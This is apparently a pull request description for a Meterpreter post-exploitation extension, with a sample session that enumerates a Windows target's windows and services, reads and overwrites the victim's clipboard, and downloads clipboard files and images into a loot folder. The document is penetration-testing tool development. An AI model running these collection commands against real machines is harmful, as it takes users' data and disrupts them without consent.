New Extension: Extended API

This PR contains code for a new extension called the Extended API. The goal of this extension is to contain functionality that is helpful with general Windows post-exploitation tasks, but contains functionality that doesn't belong in the Standard API project. That is, this code is useful, but optional.

So far the code contains the following functions:

1. Ability to enumerate Windows and child windows. This can be useful when searching for something that a user is doing, plus it harvests Window handles that can then be used with railgun calls.
1. Ability to enumerate all services. The data returned includes service names, display names, PIDs and statuses.
1. Ability to query a particular service by name. The query results in more detailed information about the service itself, including things such as the account that the service is running under and the DACL. (Note: at this point DACL parsing hasn't been implemented, it's coming).
1. Ability to read data from the clipboard. The formats that are supported are raw text, files and image data.
    * Raw text, if present, is just displayed on screen.
    * If the user has a selection of files on the cilpboard, they are listed along with their sizes in bytes. If the `-d` parameter is added to the call, then the files are downloaded to a local loot folder.
    * If the user has an image selection on the clipboard (such as a screenshot or something from MSPaint) the image dimensions are shown. If the `-d` parameter is added then the image is downloaded to a local loot folder and then displayed. Note that GDI+ i used to enable this functionality instead of the jpeg library that is used elsewhere. Down the track, this functionality will be moved over to stdapi allowing us to reduce the size of image management payloads such as screenshot.dll.
1. Ability to set text on the cilpboard. More formats such as files and images might come later if they're useful.

This PR isn't perfect yet, but it's big enough to get the conversation going.

Future goals:

* Monitoring the clipboard and auto-looting when new data appears.
* DACL parsing into something human-readable.
* Service control (starting/stopping/disabling/etc)
* ... and a LOT more other stuff too good to mention here :)

This is the MSF side of the Meterpreter PR https://github.com/rapid7/meterpreter/pull/45

### Testing

- [ ] Should work fine in box x86 and x64
- [ ] Every feature should work on every Windows operating system from Windows 2000 SP4 onwards. Prior to that, the only thing that doesn't work is reading image data off a clipboard.

### Sample Run

```
meterpreter > use extapi
Loading extension extapi...success.
meterpreter > help

... snip ...

Extapi: Service Management Commands
===================================

    Command        Description
    -------        -----------
    service_enum   Enumerate all registered Windows services
    service_query  Query more detail about a specific Windows service


Extapi: Clipboard Management Commands
=====================================

    Command             Description
    -------             -----------
    clipboard_get_data  Read the victim's current clipboard (text, files, images)
    clipboard_set_text  Write text to the victim's clipboard

meterpreter > window_enum 

Top-level windows
=================

PID   Handle   Title
---   ------   -----
600   131444   Git Bash
784   132000   MSCTFIME UI
784   393984   Default IME
2128  65832    VMDisplayChangeControlTitle
2196  197532   Untitled - Notepad
2196  197512   MSCTFIME UI
2196  197508   Default IME
... snip ...
3048  65800    Program Manager
3048  131462   Local Disk (C:)
3048  65642    Default IME
3048  262712   backcompat
3048  65726    CiceroUIWndFrame
3048  65868    Task Switching
3048  65854    MSCTFIME UI
3048  65630    Default IME

Total top-level Windows: 82

meterpreter > window_enum -p 65800

Child windows of 65800
======================

PID   Handle  Title
---   ------  -----
3048  65804   FolderView

Total child Windows: 1

meterpreter > service_enum 

Service List
============

PID   Status   Int  Name (Display Name)
---   ------   ---  -------------------
0     Stopped  N    aelookupsvc (Application Experience)
0     Stopped  N    alg (Application Layer Gateway Service)
0     Stopped  N    appidsvc (Application Identity)
0     Stopped  N    appinfo (Application Information)
0     Stopped  N    appmgmt (Application Management)
0     Stopped  N    aspnet_state (ASP.NET State Service)
880   Running  N    audioendpointbuilder (Windows Audio Endpoint Builder)
772   Running  N    audiosrv (Windows Audio)
0     Stopped  N    axinstsv (ActiveX Installer (AxInstSV))
0     Stopped  N    bdesvc (BitLocker Drive Encryption Service)
... snip ...
1072  Running  N    windefend (Windows Defender)
0     Stopped  N    winhttpautoproxysvc (WinHTTP Web Proxy Auto-Discovery Service)
936   Running  N    winmgmt (Windows Management Instrumentation)
0     Stopped  N    winrm (Windows Remote Management (WS-Management))
880   Running  N    wlansvc (WLAN AutoConfig)
0     Stopped  N    wmiapsrv (WMI Performance Adapter)
0     Stopped  N    wmpnetworksvc (Windows Media Player Network Sharing Service)
0     Stopped  N    wpcsvc (Parental Controls)
0     Stopped  N    wpdbusenum (Portable Device Enumerator Service)
772   Running  N    wscsvc (Security Center)
2632  Running  N    wsearch (Windows Search)
936   Running  N    wuauserv (Windows Update)
0     Stopped  N    wudfsvc (Windows Driver Foundation - User-mode Driver Framework)
0     Stopped  N    wwansvc (WWAN AutoConfig)

Total services: 167

meterpreter > service_query windefend

Name        : windefend
Display     : Windows Defender
Account     : LocalSystem
Start Type  : Automatic
Path        : C:\Windows\System32\svchost.exe -k secsvcs
L.O. Group  : 
Interactive : No
DACL        : D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;OICIIO;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPLOCRRC;;;IU)(A;;CCLCSWRPLOCRRC;;;SU)

meterpreter > clipboard_get_data 

Current Clipboard Text
======================

Dude, check this out!


meterpreter > clipboard_set_text No way! I can own your clipboard :D
meterpreter > clipboard_get_data 

Current Clipboard Text
======================

No way! I can own your clipboard :D
```

On the target we select a couple of files/folders and copy them to the clipboard

```
meterpreter > clipboard_get_data 

Current Clipboard Files
=======================

File Path                                         Size (bytes)
---------                                         ------------
C:\Users\OJ Reeves\Desktop\https-40-8000-x64.exe  73802
C:\Users\OJ Reeves\Desktop\https-40-8000-x86.exe  73802

2 file(s) totalling 147604 bytes

meterpreter > clipboard_get_data -d

[*] Downloading Clipboard Files ...
downloading: C:\Users\OJ Reeves\Desktop\https-40-8000-x64.exe -> /home/oj/.msf4/loot/20131102230320_default_unknown_clipboard/https-40-8000-x64.exe
downloaded : C:\Users\OJ Reeves\Desktop\https-40-8000-x64.exe -> /home/oj/.msf4/loot/20131102230320_default_unknown_clipboard/https-40-8000-x64.exe
downloading: C:\Users\OJ Reeves\Desktop\https-40-8000-x86.exe -> /home/oj/.msf4/loot/20131102230320_default_unknown_clipboard/https-40-8000-x86.exe
downloaded : C:\Users\OJ Reeves\Desktop\https-40-8000-x86.exe -> /home/oj/.msf4/loot/20131102230320_default_unknown_clipboard/https-40-8000-x86.exe
[+] Downloaded 2 file(s).

```
On the target we then copy some image data to the clipboard (eg. window screenshot)
```
meterpreter > clipboard_get_data 

Clipboard Image Dimensions: 1680x1050
Re-run with -d to download image.


meterpreter > clipboard_get_data -d

Clipboard Image Dimensions: 1680x1050
[+] Clipboard image saved to /home/oj/.msf4/loot/20131102225909_default_unknown_clipboard/pssCtgxA.jpg
```

That's all folks.